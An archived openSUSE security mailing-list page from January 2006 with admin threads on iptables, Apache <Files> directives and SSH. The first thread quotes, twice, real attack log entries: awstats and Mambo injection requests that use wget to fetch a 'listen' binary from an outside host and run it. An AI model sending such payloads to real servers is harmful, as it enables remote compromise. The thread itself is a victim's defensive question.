January 2006 - openSUSE Security - openSUSE Mailing Lists

Strange Apache Log entries
by suse＠karsites.net 05 Jan '06

05 Jan '06

Hi all. Does anyone know what all this lot is please? 62.171.219.110 - - [05/Jan/2006:19:54:41 +0000] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 328 62.171.219.110 - - [05/Jan/2006:19:54:43 +0000] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 328 62.171.219.110 - - [05/Jan/2006:19:54:44 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 336 62.171.219.110 - - [05/Jan/2006:19:54:45 +0000] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 320 62.171.219.110 - - [05/Jan/2006:19:54:46 +0000] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 319 62.171.219.110 - - [05/Jan/2006:19:54:47 +0000] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 326 62.171.219.110 - - [05/Jan/2006:19:54:48 +0000] "GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 324 62.171.219.110 - - [05/Jan/2006:19:54:49 +0000] "GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 330 Regards Keith

3 3

Re: [suse-security] Strange Apache Log entries
by Markus Gerke 05 Jan '06

05 Jan '06

Hi, up to version 6.2 there was a security hole in awstats which allowed an attacker to upload files and run them. I know it, because my server was successfully attacked last year ;-) With 6.3 this issue was fixed. Regards, Markus PS: I use .htaccess to restrict access to the statistics. That's an further security improvement. > > Hi all. Does anyone know what all this lot is please? > > 62.171.219.110 - - [05/Jan/2006:19:54:41 +0000] "GET > /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 328 > 62.171.219.110 - - [05/Jan/2006:19:54:43 +0000] "GET > /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 328 > 62.171.219.110 - - [05/Jan/2006:19:54:44 +0000] "GET > /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 336 > 62.171.219.110 - - [05/Jan/2006:19:54:45 +0000] "GET > /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 320 > 62.171.219.110 - - [05/Jan/2006:19:54:46 +0000] "GET > /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 319 > 62.171.219.110 - - [05/Jan/2006:19:54:47 +0000] "GET > /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 326 > 62.171.219.110 - - [05/Jan/2006:19:54:48 +0000] "GET > /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 324 > 62.171.219.110 - - [05/Jan/2006:19:54:49 +0000] "GET > /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo| HTTP/1.1" 404 330 > > Regards > > Keith > > -- > Check the headers for your unsubscription address > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > >

1 0

iptables: DNAT from port x to port y
by Dominik Klein 04 Jan '06

04 Jan '06

Hi, my linux router is supposed to forward https requests to the http port on my webserver. Is this possible with iptables? I thought that these lines should do (there is more in my iptables script, but I think this is the interesting part): --snip-- $IPTABLES -t nat -A PREROUTING -i eth0 -p tcp -d $routerip --dport 443 -j DNAT --to-destination $webserverip:80 $IPTABLES -A FORWARD -i eth0 -o eth1 -p tcp -d $webserverip --dport 80 -j ACCEPT $IPTABLES -A INPUT -i eth0 -p tcp -d $routerip --dport 443 -j ACCEPT --snip-- But apparently, clients still get forwarded to https, and as there is no https, they run into a timeout. Am I missing something or is this not possible? Regards, Dominik

3 4

Re: [suse-security] Apache <Files>...</Files> problem
by suse＠karsites.net 02 Jan '06

02 Jan '06

In normal use yes. But I set up the directories to disallow access from localhost and 10.0.0.3 , my laptop on LAN, to test whether the files were still accessible, even though the server config should have denied access - for testing purposes. I then tested for allowing access from localhost, but not from 10.0.0.3. This worked as expected too. I think I have isolated the problem as this: # THIS IS CAUSING THE PROBLEM WITH <Files>...</Files> # # remove the CONNECT bug # http://bugs.php.net/bug.php?id=19113 # #<Location /> # <Limit CONNECT> # Order deny,allow # Deny from all # </Limit> #</Location> When I un-comment the above, the error appears. If I comment out the above, the error goes away. If anyone else on the list is using this patch, maybe they need to check out their configuration too. This has been bugging me for ages. It's nice to be able to configure apache directories now, and know what behaviour to expect. Many thanks to Joe Knall for all his suggestions, and help by sending me a copy of his httpd.conf file in the early hours! If anyone else wants a copy of my cut-down httpd.conf file, then I will be pleased to email it to you off-list. It's based on Joe's version, but obviously tailored for my set-up. Happy new year to everyone. Keith Roberts On Mon, 2 Jan 2006, Luis Guilherme wrote: > To: suse(a)karsites.net > From: Luis Guilherme <luis.guilherme(a)usa.net> > Subject: Re: [suse-security] Apache <Files>...</Files> problem > > Hi, i think you are denying the access to php files, you should replace > the second Deny All with Allow all, you want to allow .PHP from client > connections, right? > > suse(a)karsites.net wrote: > > Well - it works! > > > > Thanks very much for all your help Joe. > > > > I still don't yet know what the problem was though. > > > > I need to fine-tune my config. > > > > As I add more to my working httpd.conf file, hopefully I will find > > out what was causing the original problem. > > > > When I discover the error, I will post it on the mailing list. > > > > Thanks again > > > > Keith

1 0

SSH Failure: No route to host
by Dimitris Stasinopoulos 02 Jan '06

02 Jan '06

Hello everyone, I recently installed SuSE 10 Professional (updating from 9.1 - erase and install) on one of my servers. My server has 2 interfaces, external and internal. Among other services, I installed ssh. While I can ssh to the server from the internal network, I can't from the external: reverant@Liberty:~> ssh -l reverant -C my.i.p.addr ssh: connect to host my.i.p.addr port 22: No route to host I can telnet to other services (ie. httpd, sendmail, qpopper) just fine, so the error message would most likely be because of the SuSE firewall. So I go in YaST, and add "SSH" to the allowed services in the external interface, restart the firewall but still no go. I completely disable the firewall, and still nothing. The previous (9.1) configuration worked fine (SSH-wise), so the likelyhood that something else (ie external firewall) is blocking the ssh attempts is propably out of the question. Any ides here? Thanks in advance, Dimitris

2 1

Re: [suse-security] Apache <Files>...</Files> problem
by suse＠karsites.net 02 Jan '06

02 Jan '06

Well - it works! Thanks very much for all your help Joe. I still don't yet know what the problem was though. I need to fine-tune my config. As I add more to my working httpd.conf file, hopefully I will find out what was causing the original problem. When I discover the error, I will post it on the mailing list. Thanks again Keith

1 0

Apache <Files>...</Files> problem
by suse＠karsites.net 01 Jan '06

01 Jan '06

Hi all - happy new year to everyone! I'm having a problem with the <Files> directive under SuSE 9.2 pro. I have posted on users(a)httpd.apache.org for help, but to no avail. People have checked my httpd.conf directory syntax as OK, and I still do not appear to be getting the correct functionality for the <Files>...</Files> container. Using the following in my httpd.conf file: <Directory /srv/www/htdocs/KAR/websites/pub/computing/apache-test> Options None Order deny,allow Deny from all <Files *.php> Order deny,allow Deny from all </Files> </Directory> (I restarted apache with /etc/init.d/apache2 stop, then start.) If you go to that directory, you will get permission denied for the directory, which is not even listed in the /pub/computing/ directory, as expected. If you then add the following filename, get_vars.php, you will be able to access that file, as well as me from localhost. Here is the URL: http://www.karsites.net/KAR/websites/pub/computing/apache-test/get_vars. php And the log entries are: For an unsuccessfull request using: http://www.karsites.net/KAR/websites/pub/computing/apache-test/ 127.0.0.1 - - [29/Dec/2005:20:48:26 +0000] "GET /KAR/websites/pub/computing/apache-test/ HTTP/1.1" 403 350 For a successfull request using: http://www.karsites.net/KAR/websites/pub/computing/apache-test/get_vars.php 127.0.0.1 - - [29/Dec/2005:20:50:14 +0000] "GET /KAR/websites/pub/computing/apache-test/get_vars.php HTTP/1.1" 200 1721 Any ideas as to why this is happening please? Regards - Keith Roberts

3 6